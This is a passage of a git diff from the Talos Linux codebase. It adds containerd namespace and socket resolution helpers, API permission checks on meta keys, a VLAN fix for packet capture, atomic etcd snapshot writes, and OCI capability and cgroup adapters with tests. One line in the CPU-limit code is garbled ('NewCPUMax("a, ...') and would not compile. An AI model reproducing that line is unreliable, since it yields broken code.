+ return nil, nil, nil, err } if req.GetDriver() == common.ContainerDriver_CONTAINERD && req.GetNamespace() == common.ContainerdNamespace_NS_CRI { @@ -60,3 +45,37 @@ func ContainerdInstanceHelper(ctx context.Context, req *common.ContainerdInstanc return namespaces.WithNamespace(ctx, containerdNamespace), namespaces.WithNamespace(context.Background(), containerdNamespace), client, nil } + +// ContainerdInstanceAddress resolves which containerd instance's socket a driver addresses. +func ContainerdInstanceAddress(driver common.ContainerDriver, namespace common.ContainerdNamespace) (string, error) { + switch driver { + case common.ContainerDriver_CONTAINERD: + // The containerd instance backing every non-system namespace (taloscontainers included) is + // the same one CRI uses; only the system namespace lives in Talos's own containerd instance. + if namespace == common.ContainerdNamespace_NS_SYSTEM { + return constants.SystemContainerdAddress, nil + } + + return constants.CRIContainerdAddress, nil + case common.ContainerDriver_CRI: + return constants.CRIContainerdAddress, nil + default: + return "", status.Errorf(codes.InvalidArgument, "invalid containerd driver %s", driver) + } +} + +// ContainerdInstanceNamespace resolves the enum namespace selector to the raw containerd namespace name. +func ContainerdInstanceNamespace(namespace common.ContainerdNamespace) (string, error) { + switch namespace { + case common.ContainerdNamespace_NS_CRI: + return constants.K8sContainerdNamespace, nil + case common.ContainerdNamespace_NS_SYSTEM: + return constants.SystemContainerdNamespace, nil + case common.ContainerdNamespace_NS_TALOSCONTAINERS: + return constants.TalosContainersContainerdNamespace, nil + case common.ContainerdNamespace_NS_UNKNOWN: + fallthrough + default: + return "", status.Errorf(codes.InvalidArgument, "invalid containerd namespace %s", namespace) + } +} diff --git a/internal/app/internal/ctrhelper/ctrhelper_test.go b/internal/app/internal/ctrhelper/ctrhelper_test.go new file mode 100644 index 00000000000..fc174c8212b --- /dev/null +++ b/internal/app/internal/ctrhelper/ctrhelper_test.go @@ -0,0 +1,124 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package ctrhelper_test + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/internal/app/internal/ctrhelper" + "github.com/siderolabs/talos/pkg/machinery/api/common" + "github.com/siderolabs/talos/pkg/machinery/constants" +) + +// TestContainerdInstanceAddress pins which containerd socket each driver/namespace pair resolves to. +// +// The containerd driver is namespace-sensitive (system lives in Talos's own containerd instance, +// everything else shares the one CRI uses), unlike the CRI driver, which always addresses the CRI +// instance regardless of namespace - that asymmetry is the part most likely to regress silently. +func TestContainerdInstanceAddress(t *testing.T) { + for _, tc := range []struct { + name string + driver common.ContainerDriver + namespace common.ContainerdNamespace + wantAddress string + wantErr bool + }{ + { + name: "containerd driver with system namespace uses the system containerd instance", + driver: common.ContainerDriver_CONTAINERD, + namespace: common.ContainerdNamespace_NS_SYSTEM, + wantAddress: constants.SystemContainerdAddress, + }, + { + name: "containerd driver with taloscontainers namespace uses the CRI containerd instance", + driver: common.ContainerDriver_CONTAINERD, + namespace: common.ContainerdNamespace_NS_TALOSCONTAINERS, + wantAddress: constants.CRIContainerdAddress, + }, + { + name: "containerd driver with cri namespace also uses the CRI containerd instance", + driver: common.ContainerDriver_CONTAINERD, + namespace: common.ContainerdNamespace_NS_CRI, + wantAddress: constants.CRIContainerdAddress, + }, + { + name: "cri driver uses the CRI containerd instance regardless of namespace", + driver: common.ContainerDriver_CRI, + namespace: common.ContainerdNamespace_NS_SYSTEM, + wantAddress: constants.CRIContainerdAddress, + }, + { + name: "unsupported driver errors", + driver: common.ContainerDriver(99), + namespace: common.ContainerdNamespace_NS_SYSTEM, + wantErr: true, + }, + } { + t.Run(tc.name, func(t *testing.T) { + address, err := ctrhelper.ContainerdInstanceAddress(tc.driver, tc.namespace) + + if tc.wantErr { + require.Error(t, err) + + return + } + + require.NoError(t, err) + assert.Equal(t, tc.wantAddress, address) + }) + } +} + +// TestContainerdInstanceNamespace pins the raw containerd namespace name each enum value resolves to. +func TestContainerdInstanceNamespace(t *testing.T) { + for _, tc := range []struct { + name string + namespace common.ContainerdNamespace + wantNamespace string + wantErr bool + }{ + { + name: "cri", + namespace: common.ContainerdNamespace_NS_CRI, + wantNamespace: constants.K8sContainerdNamespace, + }, + { + name: "system", + namespace: common.ContainerdNamespace_NS_SYSTEM, + wantNamespace: constants.SystemContainerdNamespace, + }, + { + name: "taloscontainers", + namespace: common.ContainerdNamespace_NS_TALOSCONTAINERS, + wantNamespace: constants.TalosContainersContainerdNamespace, + }, + { + name: "unknown namespace errors", + namespace: common.ContainerdNamespace_NS_UNKNOWN, + wantErr: true, + }, + { + name: "unrecognized namespace value errors", + namespace: common.ContainerdNamespace(99), + wantErr: true, + }, + } { + t.Run(tc.name, func(t *testing.T) { + namespace, err := ctrhelper.ContainerdInstanceNamespace(tc.namespace) + + if tc.wantErr { + require.Error(t, err) + + return + } + + require.NoError(t, err) + assert.Equal(t, tc.wantNamespace, namespace) + }) + } +} diff --git a/internal/app/machined/internal/server/v1alpha1/v1alpha1_images.go b/internal/app/machined/internal/server/v1alpha1/v1alpha1_images.go index 8ca42550847..e403ebd276a 100644 --- a/internal/app/machined/internal/server/v1alpha1/v1alpha1_images.go +++ b/internal/app/machined/internal/server/v1alpha1/v1alpha1_images.go @@ -30,6 +30,8 @@ func containerdNamespaceHelper(ctx context.Context, ns common.ContainerdNamespac namespaceName = constants.K8sContainerdNamespace case common.ContainerdNamespace_NS_SYSTEM: namespaceName = constants.SystemContainerdNamespace + case common.ContainerdNamespace_NS_TALOSCONTAINERS: + namespaceName = constants.TalosContainersContainerdNamespace case common.ContainerdNamespace_NS_UNKNOWN: fallthrough default: diff --git a/internal/app/machined/internal/server/v1alpha1/v1alpha1_meta.go b/internal/app/machined/internal/server/v1alpha1/v1alpha1_meta.go index b8b7ab86055..622a9022354 100644 --- a/internal/app/machined/internal/server/v1alpha1/v1alpha1_meta.go +++ b/internal/app/machined/internal/server/v1alpha1/v1alpha1_meta.go @@ -14,6 +14,7 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" "github.com/siderolabs/talos/pkg/machinery/api/machine" + "github.com/siderolabs/talos/pkg/machinery/meta" ) // MetaWrite implements the machine.MachineServer interface. @@ -22,11 +23,17 @@ func (s *Server) MetaWrite(ctx context.Context, req *machine.MetaWriteRequest) ( return nil, err } - if uint32(uint8(req.Key)) != req.Key { + metaKey := uint8(req.Key) + + if uint32(metaKey) != req.Key { return nil, status.Errorf(codes.InvalidArgument, "key must be a uint8") } - ok, err := s.Controller.Runtime().State().Machine().Meta().SetTagBytes(ctx, uint8(req.Key), req.Value) + if !meta.IsAPIWriteable(metaKey) { + return nil, status.Errorf(codes.PermissionDenied, "meta key is not writeable via the API") + } + + ok, err := s.Controller.Runtime().State().Machine().Meta().SetTagBytes(ctx, metaKey, req.Value) if err != nil { return nil, err } @@ -55,11 +62,17 @@ func (s *Server) MetaDelete(ctx context.Context, req *machine.MetaDeleteRequest) return nil, err } - if uint32(uint8(req.Key)) != req.Key { + metaKey := uint8(req.Key) + + if uint32(metaKey) != req.Key { return nil, status.Errorf(codes.InvalidArgument, "key must be a uint8") } - ok, err := s.Controller.Runtime().State().Machine().Meta().DeleteTag(ctx, uint8(req.Key)) + if !meta.IsAPIWriteable(metaKey) { + return nil, status.Errorf(codes.PermissionDenied, "meta key is not writeable via the API") + } + + ok, err := s.Controller.Runtime().State().Machine().Meta().DeleteTag(ctx, metaKey) if err != nil { return nil, err } diff --git a/internal/app/machined/internal/server/v1alpha1/v1alpha1_pcap_test.go b/internal/app/machined/internal/server/v1alpha1/v1alpha1_pcap_test.go new file mode 100644 index 00000000000..0bcaeb01849 --- /dev/null +++ b/internal/app/machined/internal/server/v1alpha1/v1alpha1_pcap_test.go @@ -0,0 +1,166 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package runtime_test + +import ( + "bytes" + "io" + "net" + "testing" + + "github.com/gopacket/gopacket" + "github.com/gopacket/gopacket/afpacket" + "github.com/gopacket/gopacket/layers" + "github.com/gopacket/gopacket/pcapgo" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + runtime "github.com/siderolabs/talos/internal/app/machined/internal/server/v1alpha1" + "github.com/siderolabs/talos/internal/pkg/pcap" +) + +type captureStep struct { + data []byte + ci gopacket.CaptureInfo + err error +} + +// fakeCaptureHandle replays a fixed sequence of [afpacket.TPacket.ZeroCopyReadPacketData] results. +type fakeCaptureHandle struct { + steps []captureStep + closed bool +} + +// check that the fake implements the same interface as the real handle. +var ( + _ runtime.PacketCaptureHandle = (*fakeCaptureHandle)(nil) + _ runtime.PacketCaptureHandle = (*afpacket.TPacket)(nil) +) + +func (h *fakeCaptureHandle) ZeroCopyReadPacketData() ([]byte, gopacket.CaptureInfo, error) { + if len(h.steps) == 0 { + // unrecoverable error terminates the capture + return nil, gopacket.CaptureInfo{}, io.EOF + } + + step := h.steps[0] + h.steps = h.steps[1:] + + return step.data, step.ci, step.err +} + +func (h *fakeCaptureHandle) Stats() (afpacket.Stats, error) { + return afpacket.Stats{}, nil +} + +func (h *fakeCaptureHandle) SocketStats() (afpacket.SocketStats, afpacket.SocketStatsV3, error) { + return afpacket.SocketStats{}, afpacket.SocketStatsV3{}, nil +} + +func (h *fakeCaptureHandle) Close() { + h.closed = true +} + +func buildFrame(t *testing.T, vlanID uint16) []byte { + t.Helper() + + eth := &layers.Ethernet{ + SrcMAC: net.HardwareAddr{0x00, 0x50, 0x56, 0x8f, 0xa5, 0xcb}, + DstMAC: net.HardwareAddr{0x00, 0x50, 0x56, 0x8f, 0xd0, 0xc3}, + EthernetType: layers.EthernetTypeIPv4, + } + + ip := &layers.IPv4{ + Version: 4, + TTL: 64, + Protocol: layers.IPProtocolICMPv4, + SrcIP: net.IPv4(11, 0, 1, 1), + DstIP: net.IPv4(11, 0, 1, 254), + } + + icmp := &layers.ICMPv4{ + TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeEchoRequest, 0), + Id: 1, + Seq: 17, + } + + serializable := []gopacket.SerializableLayer{eth, ip, icmp, gopacket.Payload(bytes.Repeat([]byte{0xaa}, 56))} + + if vlanID != 0 { + eth.EthernetType = layers.EthernetTypeDot1Q + + serializable = append( + []gopacket.SerializableLayer{eth, &layers.Dot1Q{VLANIdentifier: vlanID, Type: layers.EthernetTypeIPv4}}, + serializable[1:]..., + ) + } + + buf := gopacket.NewSerializeBuffer() + + require.NoError(t, gopacket.SerializeLayers(buf, gopacket.SerializeOptions{FixLengths: true, ComputeChecksums: true}, serializable...)) + + return buf.Bytes() +} + +// TestCapturePacketsVLAN verifies that a frame with the VLAN header re-inserted by afpacket is captured. +// +// afpacket re-inserts the VLAN header stripped by the kernel into the packet data, but reports the wire length +// as seen by the kernel, i.e. 4 bytes short, so the capture loop has to compensate for that. +func TestCapturePacketsVLAN(t *testing.T) { + t.Parallel() + + untagged := buildFrame(t, 0) + tagged := buildFrame(t, 2005) + + require.Len(t, tagged, len(untagged)+4) + + handle := &fakeCaptureHandle{ + steps: []captureStep{ + { + data: untagged, + ci: gopacket.CaptureInfo{CaptureLength: len(untagged), Length: len(untagged)}, + }, + { + // poll timeouts are retried, not fatal + err: afpacket.ErrTimeout, + }, + { + data: tagged, + // the kernel doesn't count the stripped VLAN header in the wire length + ci: gopacket.CaptureInfo{CaptureLength: len(tagged), Length: len(tagged) - 4}, + }, + }, + } + + var out bytes.Buffer + + err := runtime.CapturePackets(t.Context(), &out, handle, afpacket.DefaultFrameSize, pcap.LinkTypeEthernet) + require.ErrorIs(t, err, io.EOF) + assert.True(t, handle.closed) + + reader, err := pcapgo.NewReader(&out) + require.NoError(t, err) + + data, ci, err := reader.ReadPacketData() + require.NoError(t, err) + assert.Equal(t, untagged, data) + assert.Equal(t, len(untagged), ci.CaptureLength) + assert.Equal(t, len(untagged), ci.Length) + + data, ci, err = reader.ReadPacketData() + require.NoError(t, err) + assert.Equal(t, tagged, data) + assert.Equal(t, len(tagged), ci.CaptureLength) + assert.Equal(t, len(tagged), ci.Length) + + packet := gopacket.NewPacket(data, layers.LinkTypeEthernet, gopacket.Default) + + dot1q, ok := packet.Layer(layers.LayerTypeDot1Q).(*layers.Dot1Q) + require.True(t, ok, "no Dot1Q layer in %s", packet) + assert.Equal(t, uint16(2005), dot1q.VLANIdentifier) + + _, _, err = reader.ReadPacketData() + assert.ErrorIs(t, err, io.EOF) +} diff --git a/internal/app/machined/internal/server/v1alpha1/v1alpha1_server.go b/internal/app/machined/internal/server/v1alpha1/v1alpha1_server.go index f51e4f73b66..06bb520c3f7 100644 --- a/internal/app/machined/internal/server/v1alpha1/v1alpha1_server.go +++ b/internal/app/machined/internal/server/v1alpha1/v1alpha1_server.go @@ -32,6 +32,7 @@ import ( "github.com/cosi-project/runtime/pkg/state" "github.com/cosi-project/runtime/pkg/state/protobuf/server" "github.com/google/uuid" + "github.com/gopacket/gopacket" "github.com/gopacket/gopacket/afpacket" multierror "github.com/hashicorp/go-multierror" "github.com/nberlee/go-netstat/netstat" @@ -1316,48 +1317,57 @@ func (s *Server) Kubeconfig(empty *emptypb.Empty, obj machine.MachineService_Kub // Logs provides a service or container logs can be requested and the contents of the // log file are streamed in chunks. func (s *Server) Logs(req *machine.LogsRequest, l machine.MachineService_LogsServer) (err error) { - var chunk chunker.Chunker + var ( + chunk chunker.Chunker + file io.Closer + ) switch { case req.Namespace == constants.SystemContainerdNamespace || req.Id == "kubelet": - var options []runtime.LogOption - - if req.Follow { - options = append(options, runtime.WithFollow()) - } + chunk, file, err = s.serviceLogChunker(l.Context(), req, req.Id) + case req.Namespace == constants.TalosContainersContainerdNamespace: + // Containers declared via ContainerConfig log to a buffer keyed by container, not by + // instance, so that successive restarts append to one buffer and logs outlive the + // container: see containers.RuntimeController. + chunk, file, err = s.serviceLogChunker(l.Context(), req, constants.TalosContainersLogPrefix+req.Id) + default: + chunk, file, err = k8slogs(l.Context(), req) + } - if req.TailLines >= 0 { - options = append(options, runtime.WithTailLines(int(req.TailLines))) - } + if err != nil { + return err + } - var logR io.ReadCloser + //nolint:errcheck + defer file.Close() - logR, err = s.Controller.Runtime().Logging().ServiceLog(req.Id).Reader(options...) - if err != nil { + for data := range chunk.Read() { + if err = l.Send(&common.Data{Bytes: data}); err != nil { return err } + } - //nolint:errcheck - defer logR.Close() + return nil +} - chunk = stream.NewChunker(l.Context(), logR) - default: - var file io.Closer +// serviceLogChunker opens the named entry in the in-memory service log buffer for streaming. +func (s *Server) serviceLogChunker(ctx context.Context, req *machine.LogsRequest, id string) (chunker.Chunker, io.Closer, error) { + var options []runtime.LogOption - if chunk, file, err = k8slogs(l.Context(), req); err != nil { - return err - } - //nolint:errcheck - defer file.Close() + if req.Follow { + options = append(options, runtime.WithFollow()) } - for data := range chunk.Read() { - if err = l.Send(&common.Data{Bytes: data}); err != nil { - return err - } + if req.TailLines >= 0 { + options = append(options, runtime.WithTailLines(int(req.TailLines))) } - return nil + logR, err := s.Controller.Runtime().Logging().ServiceLog(id).Reader(options...) + if err != nil { + return nil, nil, err + } + + return stream.NewChunker(ctx, logR), logR, nil } // LogsContainers provide a list of registered log containers. @@ -2014,7 +2024,10 @@ func (s *Server) EtcdRecover(srv machine.MachineService_EtcdRecoverServer) error return err } - snapshot, err := os.OpenFile(constants.EtcdRecoverySnapshotPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700) + // The snapshot is written to a temporary file and moved into place only once it is complete, + // so that the recovery running in the etcd service keeps reading the snapshot it started with: + // a repeated upload never truncates or removes the file under an in-progress recovery. + snapshot, err := os.CreateTemp(filepath.Dir(constants.EtcdRecoverySnapshotPath), filepath.Base(constants.EtcdRecoverySnapshotPath)+".*") if err != nil { return fmt.Errorf("error creating etcd recovery snapshot: %w", err) } @@ -2055,6 +2068,10 @@ func (s *Server) EtcdRecover(srv machine.MachineService_EtcdRecoverServer) error return fmt.Errorf("error closing snapshot: %w", err) } + if err = os.Rename(snapshot.Name(), constants.EtcdRecoverySnapshotPath); err != nil { + return fmt.Errorf("error moving snapshot into place: %w", err) + } + successfulUpload = true return srv.SendAndClose(&machine.EtcdRecoverResponse{ @@ -2478,6 +2495,9 @@ func (s *Server) PacketCapture(in *machine.PacketCaptureRequest, srv machine.Mac afpacket.OptInterface(in.Interface), afpacket.OptPollTimeout(100*time.Millisecond), afpacket.OptSocketType(unix.SOCK_RAW|unix.SOCK_CLOEXEC), + // the kernel strips the VLAN header off the ingress frames and reports the tag out-of-band, + // so ask afpacket to re-insert it into the packet data, the same way libpcap/tcpdump do + afpacket.OptAddVLANHeader(true), ) if err != nil { return fmt.Errorf("error creating afpacket handle: %w", err) @@ -2497,11 +2517,21 @@ func (s *Server) PacketCapture(in *machine.PacketCaptureRequest, srv machine.Mac return fmt.Errorf("error setting promiscuous mode %v: %w", in.Promiscuous, err) } - return capturePackets(srv.Context(), &packetStreamWriter{srv}, handle, in.SnapLen, linkType) + return CapturePackets(srv.Context(), &packetStreamWriter{srv}, handle, in.SnapLen, linkType) } +// PacketCaptureHandle is a subset of [afpacket.TPacket] used for packet capture. +type PacketCaptureHandle interface { + ZeroCopyReadPacketData() ([]byte, gopacket.CaptureInfo, error) + Stats() (afpacket.Stats, error) + SocketStats() (afpacket.SocketStats, afpacket.SocketStatsV3, error) + Close() +} + +// CapturePackets handles the packet capture loop and writes packets to the provided writer in pcap format. +// //nolint:gocyclo,cyclop -func capturePackets(ctx context.Context, w io.Writer, handle *afpacket.TPacket, snapLen uint32, linkType pcap.LinkType) error { +func CapturePackets(ctx context.Context, w io.Writer, handle PacketCaptureHandle, snapLen uint32, linkType pcap.LinkType) error { defer handle.Close() pcapw := pcap.NewWriter(w) @@ -2535,6 +2565,11 @@ func capturePackets(ctx context.Context, w io.Writer, handle *afpacket.TPacket, data, captureData, err := handle.ZeroCopyReadPacketData() if err == nil { + // afpacket re-inserts the VLAN header stripped by the kernel into the packet data (which bumps the + // capture length), but, unlike libpcap, it doesn't adjust the original wire length reported by the + // kernel, so compensate here: otherwise the pcap writer rejects the packet as capture length > length. + captureData.Length = max(captureData.Length, captureData.CaptureLength) + if err = pcapw.WritePacket(captureData, data); err != nil { return err } diff --git a/internal/app/machined/pkg/adapters/containers/container_spec.go b/internal/app/machined/pkg/adapters/containers/container_spec.go new file mode 100644 index 00000000000..d96bbbf1d38 --- /dev/null +++ b/internal/app/machined/pkg/adapters/containers/container_spec.go @@ -0,0 +1,118 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "slices" + + "github.com/containerd/cgroups/v3/cgroup2" + "github.com/containerd/containerd/v2/pkg/oci" + + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +// capabilityAll is the set-wide value accepted in capabilities.drop. +const capabilityAll = "ALL" + +// ContainerSecuritySpec adapter provides translation to OCI spec options. +// +//nolint:revive +func ContainerSecuritySpec(r *containers.ContainerSecuritySpec) containerSecuritySpec { + return containerSecuritySpec{ + ContainerSecuritySpec: r, + } +} + +type containerSecuritySpec struct { + *containers.ContainerSecuritySpec +} + +// OCISpecOpts builds OCI spec opts for the security spec. +func (a containerSecuritySpec) OCISpecOpts(grantableCapabilities []string) []oci.SpecOpts { + spec := a.ContainerSecuritySpec + + var opts []oci.SpecOpts + + if spec.Privileged { + // Extension-service-level permissions: all grantable capabilities and all devices. + opts = append(opts, + oci.WithCapabilities(grantableCapabilities), + oci.WithAllDevicesAllowed, + ) + } else { + // Restricted default: no capabilities, read-only rootfs. + opts = append(opts, + oci.WithCapabilities(nil), + oci.WithRootFSReadonly(), + ) + } + + // ALL is a set operation rather than a name, so it cannot go through WithDroppedCapabilities, + // which only removes exact matches and would silently drop nothing at all. Clearing the set + // outright is what makes "drop ALL plus add X" mean "only X", which is how the configuration + // documents expressing exactly one capability. + if slices.Contains(spec.CapabilitiesDrop, capabilityAll) { + opts = append(opts, oci.WithCapabilities(nil)) + } else if len(spec.CapabilitiesDrop) > 0 { + opts = append(opts, oci.WithDroppedCapabilities(PrefixCapabilities(spec.CapabilitiesDrop))) + } + + if len(spec.CapabilitiesAdd) > 0 { + opts = append(opts, oci.WithAddedCapabilities(PrefixCapabilities(spec.CapabilitiesAdd))) + } + + return opts +} + +// PrefixCapabilities restores the CAP_ prefix the configuration deliberately omits. +func PrefixCapabilities(capabilities []string) []string { + out := make([]string, 0, len(capabilities)) + + for _, c := range capabilities { + out = append(out, "CAP_"+c) + } + + return out +} + +// ContainerResourcesSpec adapter provides translation to cgroup v2 resources. +// +//nolint:revive +func ContainerResourcesSpec(r *containers.ContainerResourcesSpec) containerResourcesSpec { + return containerResourcesSpec{ + ContainerResourcesSpec: r, + } +} + +type containerResourcesSpec struct { + *containers.ContainerResourcesSpec +} + +// CgroupResources translates the resolved limits into cgroup v2 resources. +func (a containerResourcesSpec) CgroupResources() *cgroup2.Resources { + spec := a.ContainerResourcesSpec + + cgroupResources := &cgroup2.Resources{} + + if spec.MemoryLimit > 0 { + cgroupResources.Memory = &cgroup2.Memory{ + Max: new(int64(spec.MemoryLimit)), //nolint:gosec + } + } + + if spec.CPULimit > 0 { + // cpu.max is a quota over a period, unlike the weight used elsewhere in Talos: this is a + // ceiling, not a share. + const period = 100000 + + quota := int64(spec.CPULimit) * period / 1000 //nolint:gosec + + cgroupResources.CPU = &cgroup2.CPU{ + Max: cgroup2.NewCPUMax("a, new(uint64(period))), + } + } + + return cgroupResources +} diff --git a/internal/app/machined/pkg/adapters/containers/container_spec_test.go b/internal/app/machined/pkg/adapters/containers/container_spec_test.go new file mode 100644 index 00000000000..2671d22ab3a --- /dev/null +++ b/internal/app/machined/pkg/adapters/containers/container_spec_test.go @@ -0,0 +1,110 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "testing" + + "github.com/stretchr/testify/assert" + + containersadapter "github.com/siderolabs/talos/internal/app/machined/pkg/adapters/containers" + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +func TestOCISpecOpts(t *testing.T) { + t.Parallel() + + grantable := []string{"CAP_NET_BIND_SERVICE", "CAP_CHOWN", "CAP_SETFCAP"} + + tests := []struct { + name string + spec containers.ContainerSecuritySpec + expectOpts int + }{ + { + name: "privileged mode", + spec: containers.ContainerSecuritySpec{ + Privileged: true, + }, + expectOpts: 2, + }, + { + name: "restricted mode", + spec: containers.ContainerSecuritySpec{ + Privileged: false, + }, + expectOpts: 2, + }, + { + name: "drop capabilities", + spec: containers.ContainerSecuritySpec{ + CapabilitiesDrop: []string{"NET_RAW"}, + }, + expectOpts: 3, + }, + { + name: "drop all capabilities", + spec: containers.ContainerSecuritySpec{ + CapabilitiesDrop: []string{"ALL"}, + }, + expectOpts: 3, + }, + { + name: "add capabilities", + spec: containers.ContainerSecuritySpec{ + CapabilitiesAdd: []string{"NET_BIND_SERVICE", "CHOWN"}, + }, + expectOpts: 3, + }, + { + name: "drop and add capabilities", + spec: containers.ContainerSecuritySpec{ + CapabilitiesDrop: []string{"NET_RAW", "SETFCAP"}, + CapabilitiesAdd: []string{"NET_BIND_SERVICE"}, + }, + expectOpts: 4, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + opts := containersadapter.ContainerSecuritySpec(&tt.spec).OCISpecOpts(grantable) + assert.Equal(t, tt.expectOpts, len(opts)) + }) + } +} + +func TestPrefixCapabilities(t *testing.T) { + t.Parallel() + + tests := []struct { + input []string + expected []string + }{ + { + input: []string{}, + expected: []string{}, + }, + { + input: []string{"NET_BIND_SERVICE"}, + expected: []string{"CAP_NET_BIND_SERVICE"}, + }, + { + input: []string{"CHOWN", "SETFCAP", "NET_RAW"}, + expected: []string{"CAP_CHOWN", "CAP_SETFCAP", "CAP_NET_RAW"}, + }, + } + + for _, tt := range tests { + t.Run("", func(t *testing.T) { + t.Parallel() + + result := containersadapter.PrefixCapabilities(tt.input) + assert.Equal(t, tt.expected, result) + }) + } +} diff --git a/pkg/grpc/middleware/authz/authorizer_test.go b/internal/app/machined/pkg/adapters/containers/containers.go similarity index 51% rename from pkg/grpc/middleware/authz/authorizer_test.go rename to internal/app/machined/pkg/adapters/containers/containers.go index 47909da6642..1300dc2f91f 100644 --- a/pkg/grpc/middleware/authz/authorizer_test.go +++ b/internal/app/machined/pkg/adapters/containers/containers.go @@ -2,13 +2,5 @@ // License, v. 2.0. If a copy of the MPL was not distributed with this // file, You can obtain one at http://mozilla.org/MPL/2.0/. -package authz_test - -import "testing" - -func TestEmpty(t *testing.T) { - // added for accurate coverage estimation - // - // please remove it once any unit-test is added - // for this package -} +// Package containers implements adapters wrapping resources/containers to provide additional functionality. +package containers diff --git a/internal/app/machined/pkg/controllers/block/fs_scrub.go b/internal/app/machined/pkg/controllers/block/fs_scrub.go index 302f7a18dd4..2d541da2e68 100644 --- a/internal/app/machined/pkg/controllers/block/fs_scrub.go +++ b/internal/app/machined/pkg/controllers/block/fs_scrub.go @@ -435,25 +435,13 @@ func (ctrl *FSScrubController) runXFSScrub(ctx context.Context, logger *zap.Logg defer taskRunner.Close() //nolint:errcheck - errCh := make(chan error, 1) - - go func() { - errCh <- taskRunner.Run( - func(events.ServiceState, string, ...any) {}, - func(string, int32, bool) error { return nil }, - ) - }() - - select { - case err := <-errCh: + // Run returns once the process has stopped, so cancellation needs no separate signal. + _, err := taskRunner.Run(ctx, func(events.ServiceState, string, ...any) {}, nil) + if err != nil { return err - case <-ctx.Done(): - if err := taskRunner.Stop(); err != nil { - logger.Error("failed to stop the scrub process", zap.Error(err)) - } - - <-errCh - - return ctx.Err() } + + // the runner reports a clean stop when it terminated the process on cancellation, + // so surface the cancellation only when the run itself did not fail. + return ctx.Err() } diff --git a/internal/app/machined/pkg/controllers/block/mount.go b/internal/app/machined/pkg/controllers/block/mount.go index 811731ef5f0..cd26253e5bd 100644 --- a/internal/app/machined/pkg/controllers/block/mount.go +++ b/internal/app/machined/pkg/controllers/block/mount.go @@ -594,6 +594,12 @@ func (ctrl *MountController) handleDiskMountOperation( fsOpts []fsopen.Option ) + // Read-only volumes preserve their existing metadata, detached mounts have no target, + // and external volume metadata is owned by the host. + shouldUpdateTargetSettings := !mountRequest.TypedSpec().ReadOnly && + !mountRequest.TypedSpec().Detached && + volumeStatus.TypedSpec().Type != block.VolumeTypeExternal + fsOpts = append( fsOpts, fsopen.WithSource(mountSource), @@ -631,10 +637,9 @@ func (ctrl *MountController) handleDiskMountOperation( } } - opts = append( - opts, - mount.WithSelinuxLabel(volumeStatus.TypedSpec().MountSpec.SelinuxLabel), - ) + if shouldUpdateTargetSettings { + opts = append(opts, mount.WithSelinuxLabel(volumeStatus.TypedSpec().MountSpec.SelinuxLabel)) + } if mountRequest.TypedSpec().DisableAccessTime { opts = append(opts, mount.WithDisableAccessTime()) @@ -673,11 +678,7 @@ func (ctrl *MountController) handleDiskMountOperation( return fmt.Errorf("failed to mount %q: %w", mountRequest.Metadata().ID(), err) } - // external volumes are provided by the host (e.g. virtiofs): the mode and ownership of the mount root - // belong to the host, not to Talos, and the SELinux label is already applied by the mount itself. - if !mountRequest.TypedSpec().ReadOnly && - !mountRequest.TypedSpec().Detached && - volumeStatus.TypedSpec().Type != block.VolumeTypeExternal { + if shouldUpdateTargetSettings { if err = ctrl.updateTargetSettings(mountTarget, volumeStatus.TypedSpec().Filesystem, volumeStatus.TypedSpec().MountSpec); err != nil { manager.Unmount() //nolint:errcheck diff --git a/internal/app/machined/pkg/controllers/containers/config.go b/internal/app/machined/pkg/controllers/containers/config.go index 2087d680bd5..6de0ce8d15d 100644 --- a/internal/app/machined/pkg/controllers/containers/config.go +++ b/internal/app/machined/pkg/controllers/containers/config.go @@ -167,6 +167,7 @@ func applyConfig(spec *containers.ContainerSpecSpec, cfg configcfg.ContainerConf Privileged: security.Profile() == configcfg.ContainerSecurityProfilePrivileged, CapabilitiesAdd: security.CapabilitiesAdd(), CapabilitiesDrop: security.CapabilitiesDrop(), + MachinedAccess: security.MachinedAccess(), } spec.Network = containers.ContainerNetworkSpec{ diff --git a/internal/app/machined/pkg/controllers/containers/config_test.go b/internal/app/machined/pkg/controllers/containers/config_test.go index 9f4c01ffa10..2e8caf2a25a 100644 --- a/internal/app/machined/pkg/controllers/containers/config_test.go +++ b/internal/app/machined/pkg/controllers/containers/config_test.go @@ -128,8 +128,8 @@ func (suite *ConfigSuite) TestResolvesMounts() { asrt.Equal(containers.MountKindHostPath, mounts[3].Kind) asrt.Equal("/dev", mounts[3].Source) - // Read-only by default. - asrt.Equal([]string{"ro"}, mounts[3].Options) + // Writable by default. + asrt.NotContains(mounts[3].Options, "ro") }) } diff --git a/internal/app/machined/pkg/controllers/containers/containerd_runner.go b/internal/app/machined/pkg/controllers/containers/containerd_runner.go new file mode 100644 index 00000000000..e01f90384ba --- /dev/null +++ b/internal/app/machined/pkg/controllers/containers/containerd_runner.go @@ -0,0 +1,431 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "slices" + "strconv" + "strings" + "time" + + containerdapi "github.com/containerd/containerd/v2/client" + ctrdcontainers "github.com/containerd/containerd/v2/core/containers" + "github.com/containerd/containerd/v2/core/content" + "github.com/containerd/containerd/v2/core/images" + 